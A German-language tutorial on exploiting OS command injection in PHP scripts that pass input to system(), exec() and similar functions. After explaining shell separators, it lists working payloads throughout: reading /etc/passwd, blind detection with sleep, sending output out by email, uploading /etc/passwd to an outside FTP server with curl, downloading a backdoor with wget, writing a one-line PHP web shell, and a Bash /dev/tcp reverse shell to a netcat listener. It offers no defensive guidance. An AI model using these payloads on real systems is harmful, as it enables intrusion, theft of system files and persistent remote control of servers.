In PHP können solche Sicherheitslücken enstehen, wenn zum Beispiel die Funktionen system(), passthru(), exec() oder shell_exec() verwendet werden. Diese Funktionen dienen dazu, Befehle des Betriebssystems auszuführen.
Solche Funktionen finden in webbasierten Netzwerk-Tools häufig Verwendung.
Um zu verstehen wie man nun Befehle einschleust und warum das funktioniert muss man ein paar Dinge über die Unix-Shell wissen.In der Unix-Shell gibt es verschiedene Zeichen um Befehle einzeln hintereinander auszuführen, zu verketten und sogenannte Metazeichen.
Hier einige Beispiele:
Semikolon ;
Dieses Zeichen dient dazu verschiedene Befehle hintereinander auszuführen.
Gibt man nun in der Kommandozeile "ls;id" ein, wird einem das aktuelle Verzeichnis und die Benutzer-id des jeweiligen Benutzers angezeigt.
Pipe |
Mit diesem Zeichen kann man Befehle miteinander verketten.
So bekommt man mit der Eingabe "ls|mail test@provider.de" eine E-Mail der Verzeichnisinhalts an die E-Mail Adresse test@provider.de geschickt.
Metazeichen `` $()
Gesetzte Kommandos werden ausgeführt und können als Parameter an einen anderen Befehl übergeben werden.
Mit der Eingabe von "echo "Aktueller Benutzer $(id)"" wird zum Beispiel hinter den Wörtern "Aktueller Benutzer" die User-ID angezeigt.
Es gibt folgende Möglichkeiten jetzt Befehle über ein Eingabefeld oder über einen Parameter in der URL des Skripts einzuschleusen:
;cat /etc/passwd |cat /etc/passwd &&cat /etc/passwd %0acat /etc/passwd
Bei diesen Beispielen wird die Datei "/etc/passwd" angezeigt.
Bei einigen Skripten kann es sein, daß hinter dem eingegebenen Wert noch ein konstanter Wert verarbeitet wird und man deshalb nicht die gewünschte Ausgabe erhält.Verarbeitet das Skript nicht "cat /etc/passwd" sondern "cat /etc/passwd.com" weil beispielweise eine Whois-Abfrage so programmiert ist, daß ausdrücklich eine Domainendung verlangt wird, erhalten wir keine Ausgabe. In diesem Fall setzt man hinter dem Befehl einfach noch ein Semikolon oder eine Pipe.
Bei Shell-Metazeichen sieht das ein wenig anders aus. Alles was zwischen des Zeichen steht, wird verarbeitet.
Hier nun einige Beispiele:
$(cat /etc/passwd) `cat /etc/passwd`
Blind OS Command Injection:
Nur weil man keine Ausgabe erhält, heißt es noch lange nicht, daß auch kein Befehl ausgeführt wird. Die PHP-Funktion exec() erzeugt zum Beispiel keine Ausgabe. Um zu testen ob ein Skript gegen eine Blind OS Command Injection anfällig ist, kann man den Befehl "sleep" benutzen. Dieser Befehl erzeugt eine Verzögerung von einer bestimmten Anzahl an Sekunden. Gibt man jetzt "sleep 10" und das Skript braucht wesentlich länger bis es ausgeführt wurde, kann man darauf schließen eine solche Sicherheitslücke gefunden zu haben. Es gibt jetzt verschiedene Möglichkeiten diese Sicherheitslücke erfolgreich auszunutzen.
Eine Methode ist das versenden der Befehlsausgabe per E-Mail.
Dazu gibt man folgendes ein:
;ls|mail e-mail@provider.deMit diesem Befehl wird der Verzeichnisinhalt an eine E-Mail Adresse verschickt. Natürlich ist es möglich, jeden beliebigen anderen Befehl auf diese Weise auszuführen.
Eine andere Methode ist das Benutzen von curl:
;curl -T /etc/passwd -u user:passwort ftp://seite.deMit diesem Befehl wird die Datei /etc/passwd per FTP an einen anderen Server übertragen.
Noch eine Methode über wget wenn man auf dem System Schreibzugriff hat:
;wget -O backdoor.php http://seite.de/backdoor.txtSo kann man ein Skript von einem anderen Server laden das als Backdoor dienen kann.
Noch ein sehr einfaches Beispiel wenn man Schreibzugriff hat:
;echo "<? system(\$cmd); ?>">backdoor.phpSo wird ein PHP-Skript erzeugt, mit dem man über den Parameter "cmd" shell Befehle sichtbar ausführen kann.
Zugriff über eine Reverse Shell mit Hilfe von Netcat (getestet auf Ubuntu 12.04):
Auf seinem eigenen Rechner gibt man ein:
nc -l -p 8888 -vvvAuf dem verwundbaren System gibt man ein:
;/bin/bash -i > /dev/tcp/eigene_ip/8888 0<&1 2>&1So kann man das System über eine Reverse-Shell auf Port 8888 kontrollieren.
Es gibt natürlich noch viel mehr Möglichkeiten, diese sind davon abhängig wie das System konfiguriert und welche Software installiert ist. Am besten am eigenen Rechner mal die Linux-Shell starten und schauen, was es alles gibt und einen weiterbringt.